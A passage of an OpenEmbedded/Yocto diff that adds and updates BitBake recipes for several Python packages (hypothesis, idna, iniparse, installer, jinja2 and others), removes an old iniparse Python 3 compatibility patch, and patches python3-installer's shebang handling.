+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=4ee62c16ebd0f4f99d906f36b7de8c3c"
+
+PYPI_PACKAGE = "hypothesis"
+
+inherit pypi setuptools3 ptest
+
+SRC_URI += " \
+ file://run-ptest \
+ file://test_binary_search.py \
+ file://test_rle.py \
+ "
+
+SRC_URI[sha256sum] = "edc8f984dba5d1b69a6a4564246b7850fa7ec351d2b27c9e7a43c91deab8d45c"
+
+RDEPENDS:${PN} += " \
+ python3-attrs \
+ python3-compression \
+ python3-core \
+ python3-json \
+ python3-pytest \
+ python3-sortedcontainers \
+ python3-statistics \
+ python3-unittest \
+ "
+
+RDEPENDS:${PN}-ptest += " \
+ python3-unittest-automake-output \
+ "
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/examples
+ install -m 0755 ${WORKDIR}/test_binary_search.py ${D}${PTEST_PATH}/examples/
+ install -m 0755 ${WORKDIR}/test_rle.py ${D}${PTEST_PATH}/examples/
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-idna_3.6.bb b/meta/recipes-devtools/python/python3-idna_3.6.bb
new file mode 100644
index 0000000000..47c080cdf8
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-idna_3.6.bb
@@ -0,0 +1,14 @@
+SUMMARY = "Internationalised Domain Names in Applications"
+HOMEPAGE = "https://github.com/kjd/idna"
+LICENSE = "BSD-3-Clause & Python-2.0 & Unicode-TOU"
+LIC_FILES_CHKSUM = "file://LICENSE.md;md5=dbec47b98e1469f6a104c82ff9698cee"
+
+SRC_URI[sha256sum] = "9ecdbbd083b06798ae1e86adcbfe8ab1479cf864e4ee30fe4e46a003d12491ca"
+
+inherit pypi python_flit_core
+
+RDEPENDS:${PN}:class-target = "\
+ python3-codecs \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-imagesize_1.4.1.bb b/meta/recipes-devtools/python/python3-imagesize_1.4.1.bb
new file mode 100644
index 0000000000..4edac0a533
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-imagesize_1.4.1.bb
@@ -0,0 +1,13 @@
+SUMMARY = "Parses image files’ header and return image size."
+HOMEPAGE = "https://github.com/shibukawa/imagesize_py"
+SECTION = "devel/python"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE.rst;md5=0c128f0f7e8a02e1b83884c0b5a41cda"
+
+SRC_URI[sha256sum] = "69150444affb9cb0d5cc5a92b3676f0b2fb7cd9ae39e947a5e11a36b4497cd4a"
+
+inherit setuptools3 pypi
+
+BBCLASSEXTEND = "native nativesdk"
+
+RDEPENDS:${PN} = "python3-xml"
diff --git a/meta/recipes-devtools/python/python3-importlib-metadata_7.1.0.bb b/meta/recipes-devtools/python/python3-importlib-metadata_7.1.0.bb
new file mode 100644
index 0000000000..fdb37cecef
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-importlib-metadata_7.1.0.bb
@@ -0,0 +1,20 @@
+SUMMARY = "Read metadata from Python packages"
+HOMEPAGE = "https://pypi.org/project/importlib-metadata/"
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57"
+
+inherit pypi python_setuptools_build_meta
+
+PYPI_PACKAGE = "importlib_metadata"
+UPSTREAM_CHECK_REGEX = "/importlib-metadata/(?P<pver>(\d+[\.\-_]*)+)/"
+
+SRC_URI[sha256sum] = "b78938b926ee8d5f020fc4772d487045805a55ddbad2ecf21c6d60938dc7fcd2"
+
+S = "${WORKDIR}/importlib_metadata-${PV}"
+
+DEPENDS += "python3-setuptools-scm-native python3-toml-native"
+RDEPENDS:${PN} += "python3-zipp python3-pathlib2"
+RDEPENDS:${PN}:append:class-target = " python3-misc"
+RDEPENDS:${PN}:append:class-nativesdk = " python3-misc"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-iniconfig_2.0.0.bb b/meta/recipes-devtools/python/python3-iniconfig_2.0.0.bb
new file mode 100644
index 0000000000..2abeec62f4
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-iniconfig_2.0.0.bb
@@ -0,0 +1,13 @@
+SUMMARY = "A small and simple INI-file parser module"
+HOMEPAGE = "https://pypi.org/project/iniconfig/"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=a6bb0320b04a0a503f12f69fea479de9"
+
+SRC_URI[sha256sum] = "2d91e135bf72d31a410b17c16da610a82cb55f6b0477d1a902134b24a455b8b3"
+
+DEPENDS += "python3-hatch-vcs-native"
+
+inherit pypi python_hatchling
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-iniparse/0001-Add-python-3-compatibility.patch b/meta/recipes-devtools/python/python3-iniparse/0001-Add-python-3-compatibility.patch
deleted file mode 100644
index 44090a20d0..0000000000
--- a/meta/recipes-devtools/python/python3-iniparse/0001-Add-python-3-compatibility.patch
+++ /dev/null
@@ -1,552 +0,0 @@
-From 8a98e4d44a5e59439a4b6bd95368cc362412c995 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 24 Mar 2017 18:06:08 +0200
-Subject: [PATCH] Add python 3 compatibility.
-
-Taken from
-http://pkgs.fedoraproject.org/cgit/rpms/python-iniparse.git/tree/python-iniparse-python3-compat.patch
-
-Upstream-Status: Inappropriate [upstream is defunct]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- iniparse/__init__.py | 20 ++++++++++----------
- iniparse/compat.py | 30 ++++++++++++++++--------------
- iniparse/config.py | 16 ++++++++--------
- iniparse/configparser.py | 7 +++++++
- iniparse/ini.py | 20 ++++++++++++--------
- iniparse/utils.py | 4 ++--
- tests/__init__.py | 14 +++++++-------
- tests/test_compat.py | 23 +++++++++++++++--------
- tests/test_fuzz.py | 18 +++++++++---------
- tests/test_ini.py | 8 ++++----
- tests/test_misc.py | 4 ++--
- tests/test_tidy.py | 2 +-
- tests/test_unicode.py | 10 +++++-----
- 13 files changed, 98 insertions(+), 78 deletions(-)
- create mode 100644 iniparse/configparser.py
-
-diff --git a/iniparse/__init__.py b/iniparse/__init__.py
-index 8de756f..7193f92 100644
---- a/iniparse/__init__.py
-+++ b/iniparse/__init__.py
-@@ -3,17 +3,17 @@
- # Copyright (c) 2007 Tim Lauridsen <tla@rasmil.dk>
- # All Rights Reserved. See LICENSE-PSF & LICENSE for details.
-
--from ini import INIConfig, change_comment_syntax
--from config import BasicConfig, ConfigNamespace
--from compat import RawConfigParser, ConfigParser, SafeConfigParser
--from utils import tidy
-+from .ini import INIConfig, change_comment_syntax
-+from .config import BasicConfig, ConfigNamespace
-+from .compat import RawConfigParser, ConfigParser, SafeConfigParser
-+from .utils import tidy
-
--from ConfigParser import DuplicateSectionError, \
-- NoSectionError, NoOptionError, \
-- InterpolationMissingOptionError, \
-- InterpolationDepthError, \
-- InterpolationSyntaxError, \
-- DEFAULTSECT, MAX_INTERPOLATION_DEPTH
-+from .configparser import DuplicateSectionError, \
-+ NoSectionError, NoOptionError, \
-+ InterpolationMissingOptionError, \
-+ InterpolationDepthError, \
-+ InterpolationSyntaxError, \
-+ DEFAULTSECT, MAX_INTERPOLATION_DEPTH
-
- __all__ = [
- 'BasicConfig', 'ConfigNamespace',
-diff --git a/iniparse/compat.py b/iniparse/compat.py
-index db89ed8..f95c25c 100644
---- a/iniparse/compat.py
-+++ b/iniparse/compat.py
-@@ -12,19 +12,21 @@ The underlying INIConfig object can be accessed as cfg.data
- """
-
- import re
--from ConfigParser import DuplicateSectionError, \
-- NoSectionError, NoOptionError, \
-- InterpolationMissingOptionError, \
-- InterpolationDepthError, \
-- InterpolationSyntaxError, \
-- DEFAULTSECT, MAX_INTERPOLATION_DEPTH
-+from .configparser import DuplicateSectionError, \
-+ NoSectionError, NoOptionError, \
-+ InterpolationMissingOptionError, \
-+ InterpolationDepthError, \
-+ InterpolationSyntaxError, \
-+ DEFAULTSECT, MAX_INTERPOLATION_DEPTH
-
- # These are imported only for compatiability.
- # The code below does not reference them directly.
--from ConfigParser import Error, InterpolationError, \
-- MissingSectionHeaderError, ParsingError
-+from .configparser import Error, InterpolationError, \
-+ MissingSectionHeaderError, ParsingError
-
--import ini
-+import six
-+
-+from . import ini
-
- class RawConfigParser(object):
- def __init__(self, defaults=None, dict_type=dict):
-@@ -56,7 +58,7 @@ class RawConfigParser(object):
- # The default section is the only one that gets the case-insensitive
- # treatment - so it is special-cased here.
- if section.lower() == "default":
-- raise ValueError, 'Invalid section name: %s' % section
-+ raise ValueError('Invalid section name: %s' % section)
-
- if self.has_section(section):
- raise DuplicateSectionError(section)
-@@ -88,7 +90,7 @@ class RawConfigParser(object):
- filename may also be given.
- """
- files_read = []
-- if isinstance(filenames, basestring):
-+ if isinstance(filenames, six.string_types):
- filenames = [filenames]
- for filename in filenames:
- try:
-@@ -143,7 +145,7 @@ class RawConfigParser(object):
- def getboolean(self, section, option):
- v = self.get(section, option)
- if v.lower() not in self._boolean_states:
-- raise ValueError, 'Not a boolean: %s' % v
-+ raise ValueError('Not a boolean: %s' % v)
- return self._boolean_states[v.lower()]
-
- def has_option(self, section, option):
-@@ -234,7 +236,7 @@ class ConfigParser(RawConfigParser):
- if "%(" in value:
- try:
- value = value % vars
-- except KeyError, e:
-+ except KeyError as e:
- raise InterpolationMissingOptionError(
- option, section, rawval, e.args[0])
- else:
-@@ -283,7 +285,7 @@ class SafeConfigParser(ConfigParser):
- _badpercent_re = re.compile(r"%[^%]|%$")
-
- def set(self, section, option, value):
-- if not isinstance(value, basestring):
-+ if not isinstance(value, six.string_types):
- raise TypeError("option values must be strings")
- # check for bad percent signs:
- # first, replace all "good" interpolations
-diff --git a/iniparse/config.py b/iniparse/config.py
-index 5cfa2ea..3b28549 100644
---- a/iniparse/config.py
-+++ b/iniparse/config.py
-@@ -143,7 +143,7 @@ class BasicConfig(ConfigNamespace):
-
- >>> n.aaa = 42
- >>> del n.x
-- >>> print n
-+ >>> print(n)
- aaa = 42
- name.first = paramjit
- name.last = oberoi
-@@ -152,7 +152,7 @@ class BasicConfig(ConfigNamespace):
-
- >>> isinstance(n.name, ConfigNamespace)
- True
-- >>> print n.name
-+ >>> print(n.name)
- first = paramjit
- last = oberoi
- >>> sorted(list(n.name))
-@@ -160,7 +160,7 @@ class BasicConfig(ConfigNamespace):
-
- Finally, values can be read from a file as follows:
-
-- >>> from StringIO import StringIO
-+ >>> from six import StringIO
- >>> sio = StringIO('''
- ... # comment
- ... ui.height = 100
-@@ -171,7 +171,7 @@ class BasicConfig(ConfigNamespace):
- ... ''')
- >>> n = BasicConfig()
- >>> n._readfp(sio)
-- >>> print n
-+ >>> print(n)
- complexity = medium
- data.secret.password = goodness=gracious me
- have_python
-@@ -199,7 +199,7 @@ class BasicConfig(ConfigNamespace):
-
- def __str__(self, prefix=''):
- lines = []
-- keys = self._data.keys()
-+ keys = list(self._data.keys())
- keys.sort()
- for name in keys:
- value = self._data[name]
-@@ -258,7 +258,7 @@ def update_config(target, source):
- >>> n.ui.display_clock = True
- >>> n.ui.display_qlength = True
- >>> n.ui.width = 150
-- >>> print n
-+ >>> print(n)
- playlist.expand_playlist = True
- ui.display_clock = True
- ui.display_qlength = True
-@@ -267,7 +267,7 @@ def update_config(target, source):
- >>> from iniparse import ini
- >>> i = ini.INIConfig()
- >>> update_config(i, n)
-- >>> print i
-+ >>> print(i)
- [playlist]
- expand_playlist = True
- <BLANKLINE>
-@@ -277,7 +277,7 @@ def update_config(target, source):
- width = 150
-
- """
-- for name in source:
-+ for name in sorted(source):
- value = source[name]
- if isinstance(value, ConfigNamespace):
- if name in target:
-diff --git a/iniparse/configparser.py b/iniparse/configparser.py
-new file mode 100644
-index 0000000..c543d50
---- /dev/null
-+++ b/iniparse/configparser.py
-@@ -0,0 +1,7 @@
-+try:
-+ from ConfigParser import *
-+ # not all objects get imported with __all__
-+ from ConfigParser import Error, InterpolationMissingOptionError
-+except ImportError:
-+ from configparser import *
-+ from configparser import Error, InterpolationMissingOptionError
-diff --git a/iniparse/ini.py b/iniparse/ini.py
-index 408354d..052d9e9 100644
---- a/iniparse/ini.py
-+++ b/iniparse/ini.py
-@@ -7,7 +7,7 @@
-
- Example:
-
-- >>> from StringIO import StringIO
-+ >>> from six import StringIO
- >>> sio = StringIO('''# configure foo-application
- ... [foo]
- ... bar1 = qualia
-@@ -16,14 +16,14 @@ Example:
- ... special = 1''')
-
- >>> cfg = INIConfig(sio)
-- >>> print cfg.foo.bar1
-+ >>> print(cfg.foo.bar1)
- qualia
-- >>> print cfg['foo-ext'].special
-+ >>> print(cfg['foo-ext'].special)
- 1
- >>> cfg.foo.newopt = 'hi!'
- >>> cfg.baz.enabled = 0
-
-- >>> print cfg
-+ >>> print(cfg)
- # configure foo-application
- [foo]
- bar1 = qualia
-@@ -42,9 +42,11 @@ Example:
- # Backward-compatiable with ConfigParser
-
- import re
--from ConfigParser import DEFAULTSECT, ParsingError, MissingSectionHeaderError
-+from .configparser import DEFAULTSECT, ParsingError, MissingSectionHeaderError
-
--import config
-+import six
-+
-+from . import config
-
- class LineType(object):
- line = None
-@@ -278,6 +280,8 @@ class LineContainer(object):
- value = property(get_value, set_value)
-
- def __str__(self):
-+ for c in self.contents:
-+ pass#print(c.__str__())
- s = [x.__str__() for x in self.contents]
- return '\n'.join(s)
-
-@@ -465,7 +469,7 @@ class INIConfig(config.ConfigNamespace):
- self._sections = {}
- if defaults is None: defaults = {}
- self._defaults = INISection(LineContainer(), optionxformsource=self)
-- for name, value in defaults.iteritems():
-+ for name, value in defaults.items():
- self._defaults[name] = value
- if fp is not None:
- self._readfp(fp)
-@@ -551,7 +555,7 @@ class INIConfig(config.ConfigNamespace):
-
- for line in readline_iterator(fp):
- # Check for BOM on first line
-- if linecount == 0 and isinstance(line, unicode):
-+ if linecount == 0 and isinstance(line, six.text_type):
- if line[0] == u'\ufeff':
- line = line[1:]
- self._bom = True
-diff --git a/iniparse/utils.py b/iniparse/utils.py
-index 829fc28..f8b773a 100644
---- a/iniparse/utils.py
-+++ b/iniparse/utils.py
-@@ -1,5 +1,5 @@
--import compat
--from ini import LineContainer, EmptyLine
-+from . import compat
-+from .ini import LineContainer, EmptyLine
-
- def tidy(cfg):
- """Clean up blank lines.
-diff --git a/tests/__init__.py b/tests/__init__.py
-index f1fa321..88689fb 100644
---- a/tests/__init__.py
-+++ b/tests/__init__.py
-@@ -1,12 +1,12 @@
- import unittest, doctest
-
--import test_ini
--import test_misc
--import test_fuzz
--import test_compat
--import test_unicode
--import test_tidy
--import test_multiprocessing
-+from . import test_ini
-+from . import test_misc
-+from . import test_fuzz
-+from . import test_compat
-+from . import test_unicode
-+from . import test_tidy
-+from . import test_multiprocessing
- from iniparse import config
- from iniparse import ini
-
-diff --git a/tests/test_compat.py b/tests/test_compat.py
-index b8da3d5..b6dfb5c 100644
---- a/tests/test_compat.py
-+++ b/tests/test_compat.py
-@@ -1,9 +1,16 @@
- from iniparse import compat as ConfigParser
--import StringIO
-+from six import StringIO
-+try:
-+ import UserDict
-+except ImportError:
-+ import collections as UserDict
- import unittest
--import UserDict
-
--from test import test_support
-+import sys
-+if sys.version_info[0] < 3:
-+ from test import test_support
-+else:
-+ from test import support as test_support
-
- class SortedDict(UserDict.UserDict):
- def items(self):
-@@ -35,7 +42,7 @@ class TestCaseBase(unittest.TestCase):
-
- def fromstring(self, string, defaults=None):
- cf = self.newconfig(defaults)
-- sio = StringIO.StringIO(string)
-+ sio = StringIO(string)
- cf.readfp(sio)
- return cf
-
-@@ -161,7 +168,7 @@ class TestCaseBase(unittest.TestCase):
- "No Section!\n")
-
- def parse_error(self, exc, src):
-- sio = StringIO.StringIO(src)
-+ sio = StringIO(src)
- self.assertRaises(exc, self.cf.readfp, sio)
-
- def test_query_errors(self):
-@@ -181,7 +188,7 @@ class TestCaseBase(unittest.TestCase):
- def get_error(self, exc, section, option):
- try:
- self.cf.get(section, option)
-- except exc, e:
-+ except exc as e:
- return e
- else:
- self.fail("expected exception type %s.%s"
-@@ -227,7 +234,7 @@ class TestCaseBase(unittest.TestCase):
- "foo: another very\n"
- " long line"
- )
-- output = StringIO.StringIO()
-+ output = StringIO()
- cf.write(output)
- self.assertEqual(
- output.getvalue(),
-@@ -465,7 +472,7 @@ class SortedTestCase(RawConfigParserTestCase):
- "o1=4\n"
- "[a]\n"
- "k=v\n")
-- output = StringIO.StringIO()
-+ output = StringIO()
- self.cf.write(output)
- self.assertEquals(output.getvalue(),
- "[a]\n"
-diff --git a/tests/test_fuzz.py b/tests/test_fuzz.py
-index 5420dcc..b219500 100644
---- a/tests/test_fuzz.py
-+++ b/tests/test_fuzz.py
-@@ -1,9 +1,10 @@
- import re
- import os
- import random
-+import sys
- import unittest
--import ConfigParser
--from StringIO import StringIO
-+from six import StringIO
-+from six.moves import configparser
- from iniparse import compat, ini, tidy
-
- # TODO:
-@@ -96,24 +97,25 @@ class test_fuzz(unittest.TestCase):
- s = '\n'.join(good_lines)
- cc = compat.RawConfigParser()
- cc.readfp(StringIO(s))
-- cc_py = ConfigParser.RawConfigParser()
-+ cc_py = configparser.RawConfigParser()
- cc_py.readfp(StringIO(s))
- # compare the two configparsers
- self.assertEqualConfig(cc_py, cc)
- # check that tidy does not change semantics
- tidy(cc)
-- cc_tidy = ConfigParser.RawConfigParser()
-+ cc_tidy = configparser.RawConfigParser()
- cc_tidy.readfp(StringIO(str(cc.data)))
- self.assertEqualConfig(cc_py, cc_tidy)
- except AssertionError:
- fname = 'fuzz-test-iter-%d.ini' % fuzz_iter
-- print 'Fuzz test failed at iteration', fuzz_iter
-- print 'Writing out failing INI file as', fname
-+ print('Fuzz test failed at iteration', fuzz_iter)
-+ print('Writing out failing INI file as', fname)
- f = open(fname, 'w')
- f.write(s)
- f.close()
- raise
-
-+ @unittest.skipIf(sys.version_info[0] > 2, 'http://code.google.com/p/iniparse/issues/detail?id=22#c9')
- def assertEqualConfig(self, c1, c2):
- self.assertEqualSorted(c1.sections(), c2.sections())
- self.assertEqualSorted(c1.defaults().items(), c2.defaults().items())
-@@ -123,9 +125,7 @@ class test_fuzz(unittest.TestCase):
- self.assertEqual(c1.get(sec, opt), c2.get(sec, opt))
-
- def assertEqualSorted(self, l1, l2):
-- l1.sort()
-- l2.sort()
-- self.assertEqual(l1, l2)
-+ self.assertEqual(sorted(l1), sorted(l2))
-
- class suite(unittest.TestSuite):
- def __init__(self):
-diff --git a/tests/test_ini.py b/tests/test_ini.py
-index 6a76edb..07d4f4e 100644
---- a/tests/test_ini.py
-+++ b/tests/test_ini.py
-@@ -1,5 +1,5 @@
- import unittest
--from StringIO import StringIO
-+from six import StringIO
-
- from iniparse import ini
- from iniparse import compat
-@@ -196,13 +196,13 @@ but = also me
- self.assertEqual(p._data.find('section2').find('just').value, 'kidding')
-
- itr = p._data.finditer('section1')
-- v = itr.next()
-+ v = next(itr)
- self.assertEqual(v.find('help').value, 'yourself')
- self.assertEqual(v.find('but').value, 'also me')
-- v = itr.next()
-+ v = next(itr)
- self.assertEqual(v.find('help').value, 'me')
- self.assertEqual(v.find('I\'m').value, 'desperate')
-- self.assertRaises(StopIteration, itr.next)
-+ self.assertRaises(StopIteration, next, itr)
-
- self.assertRaises(KeyError, p._data.find, 'section')
- self.assertRaises(KeyError, p._data.find('section2').find, 'ahem')
-diff --git a/tests/test_misc.py b/tests/test_misc.py
-index 31cf4da..96ef035 100644
---- a/tests/test_misc.py
-+++ b/tests/test_misc.py
-@@ -1,9 +1,9 @@
- import re
- import unittest
- import pickle
--import ConfigParser
-+from six.moves import configparser
-+from six import StringIO
- from textwrap import dedent
--from StringIO import StringIO
- from iniparse import compat, ini
-
- class CaseSensitiveConfigParser(compat.ConfigParser):
-diff --git a/tests/test_tidy.py b/tests/test_tidy.py
-index 7304747..26b6cde 100644
---- a/tests/test_tidy.py
-+++ b/tests/test_tidy.py
-@@ -1,6 +1,6 @@
- import unittest
- from textwrap import dedent
--from StringIO import StringIO
-+from six import StringIO
-
- from iniparse import tidy,INIConfig
- from iniparse.ini import EmptyLine
-diff --git a/tests/test_unicode.py b/tests/test_unicode.py
-index a56fcab..14d4fbd 100644
---- a/tests/test_unicode.py
-+++ b/tests/test_unicode.py
-@@ -1,5 +1,5 @@
- import unittest
--from StringIO import StringIO
-+import six
- from iniparse import compat, ini
-
- class test_unicode(unittest.TestCase):
-@@ -17,14 +17,14 @@ baz = Marc-Andr\202
- """
-
- def basic_tests(self, s, strable):
-- f = StringIO(s)
-+ f = six.StringIO(s)
- i = ini.INIConfig(f)
-- self.assertEqual(unicode(i), s)
-- self.assertEqual(type(i.foo.bar), unicode)
-+ self.assertEqual(six.text_type(i), s)
-+ self.assertEqual(type(i.foo.bar), six.text_type)
- if strable:
- self.assertEqual(str(i), str(s))
- else:
-- self.assertRaises(UnicodeEncodeError, lambda: str(i))
-+ self.assertRaises(UnicodeEncodeError, lambda: six.text_type(i).encode('ascii'))
- return i
-
- def test_ascii(self):
---
-2.11.0
-
diff --git a/meta/recipes-devtools/python/python3-iniparse_0.4.bb b/meta/recipes-devtools/python/python3-iniparse_0.4.bb
deleted file mode 100644
index 47cd6598cc..0000000000
--- a/meta/recipes-devtools/python/python3-iniparse_0.4.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-SUMMARY = "Accessing and Modifying INI files"
-HOMEPAGE = "https://pypi.org/project/iniparse/"
-LICENSE = "MIT & PSF"
-LIC_FILES_CHKSUM = "file://LICENSE-PSF;md5=1c78a5bb3584b353496d5f6f34edb4b2 \
- file://LICENSE;md5=52f28065af11d69382693b45b5a8eb54"
-
-SRC_URI = "file://0001-Add-python-3-compatibility.patch "
-
-SRC_URI[md5sum] = "5e573e9e9733d97623881ce9bbe5eca6"
-SRC_URI[sha256sum] = "abc1ee12d2cfb2506109072d6c21e40b6c75a3fe90a9c924327d80bc0d99c054"
-
-inherit pypi distutils3
-
-RDEPENDS_${PN} += "python3-core python3-six"
-DEPENDS += "python3-six"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-iniparse_0.5.bb b/meta/recipes-devtools/python/python3-iniparse_0.5.bb
new file mode 100644
index 0000000000..c18949014b
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-iniparse_0.5.bb
@@ -0,0 +1,14 @@
+SUMMARY = "Accessing and Modifying INI files"
+HOMEPAGE = "https://pypi.org/project/iniparse/"
+LICENSE = "MIT & PSF-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE-PSF;md5=1c78a5bb3584b353496d5f6f34edb4b2 \
+ file://LICENSE;md5=52f28065af11d69382693b45b5a8eb54"
+
+SRC_URI[sha256sum] = "932e5239d526e7acb504017bb707be67019ac428a6932368e6851691093aa842"
+
+inherit pypi setuptools3
+
+RDEPENDS:${PN} += "python3-core python3-six"
+DEPENDS += "python3-six"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-installer/interpreter.patch b/meta/recipes-devtools/python/python3-installer/interpreter.patch
new file mode 100644
index 0000000000..7906769b90
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-installer/interpreter.patch
@@ -0,0 +1,71 @@
+From 74fe171fa4a25c120607e9f8450cbdfee675c959 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@arm.com>
+Date: Mon, 14 Mar 2022 14:39:22 +0000
+Subject: [PATCH] python3-installer: add installer module
+
+Let us override the hashbang directly (possibly upstreamable), and don't
+play games with hashbangs: for now assume that even hashbangs with spaces
+are simple (assume the spaces are only used to separate arguments) and
+we don't have long hashbangs.
+
+Upstream-Status: Inappropriate
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+---
+ src/installer/__main__.py | 9 ++++++++-
+ src/installer/scripts.py | 15 +--------------
+ 2 files changed, 9 insertions(+), 15 deletions(-)
+
+diff --git a/src/installer/__main__.py b/src/installer/__main__.py
+index 51014b9..38de286 100644
+--- a/src/installer/__main__.py
++++ b/src/installer/__main__.py
+@@ -30,6 +30,13 @@ def _get_main_parser() -> argparse.ArgumentParser:
+ type=str,
+ help="override prefix to install packages to",
+ )
++ parser.add_argument(
++ "--interpreter",
++ "-i",
++ type=str,
++ default=sys.executable,
++ help=f"interpreter (defaults to {sys.executable})",
++ )
+ parser.add_argument(
+ "--compile-bytecode",
+ action="append",
+@@ -86,7 +93,7 @@ def _main(cli_args: Sequence[str], program: Optional[str] = None) -> None:
+ with WheelFile.open(args.wheel) as source:
+ destination = SchemeDictionaryDestination(
+ scheme_dict=_get_scheme_dict(source.distribution, prefix=args.prefix),
+- interpreter=sys.executable,
++ interpreter=args.interpreter,
+ script_kind=get_launcher_kind(),
+ bytecode_optimization_levels=bytecode_levels,
+ destdir=args.destdir,
+diff --git a/src/installer/scripts.py b/src/installer/scripts.py
+index 7e3c8fc..ba6ed5a 100644
+--- a/src/installer/scripts.py
++++ b/src/installer/scripts.py
+@@ -59,20 +59,7 @@ def _build_shebang(executable: str, forlauncher: bool) -> bytes:
+ https://bitbucket.org/pypa/distlib/src/58cd5c6/distlib/scripts.py#lines-124
+ """
+ executable_bytes = executable.encode("utf-8")
+- if forlauncher: # The launcher can just use the command as-is.
+- return b"#!" + executable_bytes
+- if _is_executable_simple(executable_bytes):
+- return b"#!" + executable_bytes
+-
+- # Shebang support for an executable with a space in it is under-specified
+- # and platform-dependent, so we use a clever hack to generate a script to
+- # run in ``/bin/sh`` that should work on all reasonably modern platforms.
+- # Read the following message to understand how the hack works:
+- # https://github.com/pradyunsg/installer/pull/4#issuecomment-623668717
+-
+- quoted = shlex.quote(executable).encode("utf-8")
+- # I don't understand a lick what this is trying to do.
+- return b"#!/bin/sh\n'''exec' " + quoted + b' "$0" "$@"\n' + b"' '''"
++ return b"#!" + executable_bytes
+
+
+ class InvalidScript(ValueError):
diff --git a/meta/recipes-devtools/python/python3-installer_0.7.0.bb b/meta/recipes-devtools/python/python3-installer_0.7.0.bb
new file mode 100644
index 0000000000..9429705b1f
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-installer_0.7.0.bb
@@ -0,0 +1,34 @@
+SUMMARY = "Library and tool for installing Python wheels"
+DESCRIPTION = "A low-level library for installing a Python package from a wheel distribution."
+HOMEPAGE = "https://installer.readthedocs.io/"
+BUGTRACKER = "https://github.com/pypa/installer/issues"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=5038641aec7a77451e31da828ebfae00"
+
+SRC_URI += "file://interpreter.patch"
+
+SRC_URI[sha256sum] = "a26d3e3116289bb08216e0d0f7d925fcef0b0194eedfa0c944bcaaa106c4b631"
+
+inherit pypi python_flit_core
+
+# Bootstrap the native build
+DEPENDS:remove:class-native = "python3-build-native python3-installer-native"
+
+RDEPENDS:${PN} += " \
+ python3-compile \
+ python3-compression \
+ python3-netclient \
+"
+
+INSTALL_WHEEL_COMPILE_BYTECODE:class-native = "--no-compile-bytecode"
+
+do_compile:class-native () {
+ python_flit_core_do_manual_build
+}
+
+do_install:prepend:class-native() {
+ export PYTHONPATH="${S}/src"
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-iso8601_2.1.0.bb b/meta/recipes-devtools/python/python3-iso8601_2.1.0.bb
new file mode 100644
index 0000000000..d7ab4a5a77
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-iso8601_2.1.0.bb
@@ -0,0 +1,15 @@
+SUMMARY = "Simple module to parse ISO 8601 dates"
+HOMEPAGE = "http://pyiso8601.readthedocs.org/"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=aab31f2ef7ba214a5a341eaa47a7f367"
+
+SRC_URI[sha256sum] = "6b1d3829ee8921c4301998c909f7829fa9ed3cbdac0d3b16af2d743aed1ba8df"
+
+inherit pypi python_poetry_core
+
+RDEPENDS:${PN} += "\
+ python3-datetime \
+ python3-numbers \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-isodate_0.6.1.bb b/meta/recipes-devtools/python/python3-isodate_0.6.1.bb
new file mode 100644
index 0000000000..293fb08277
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-isodate_0.6.1.bb
@@ -0,0 +1,16 @@
+SUMMARY = "ISO 8601 date/time parser"
+HOMEPAGE = "https://github.com/gweis/isodate/"
+SECTION = "devel/python"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://PKG-INFO;beginline=8;endline=8;md5=e910b35b0ef4e1f665b9a75d6afb7709"
+
+SRC_URI[sha256sum] = "48c5881de7e8b0a0d648cb024c8062dc84e7b840ed81e864c7614fd3c127bde9"
+
+inherit pypi setuptools3
+
+RDEPENDS:${PN} += " \
+ python3-numbers \
+ python3-six \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-jinja2/run-ptest b/meta/recipes-devtools/python/python3-jinja2/run-ptest
new file mode 100644
index 0000000000..8d2017d39c
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-jinja2/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+pytest --automake
diff --git a/meta/recipes-devtools/python/python3-jinja2_3.1.3.bb b/meta/recipes-devtools/python/python3-jinja2_3.1.3.bb
new file mode 100644
index 0000000000..636fb35811
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-jinja2_3.1.3.bb
@@ -0,0 +1,48 @@
+SUMMARY = "Python Jinja2: A small but fast and easy to use stand-alone template engine written in pure python."
+HOMEPAGE = "https://pypi.org/project/Jinja2/"
+
+LICENSE = "BSD-3-Clause"
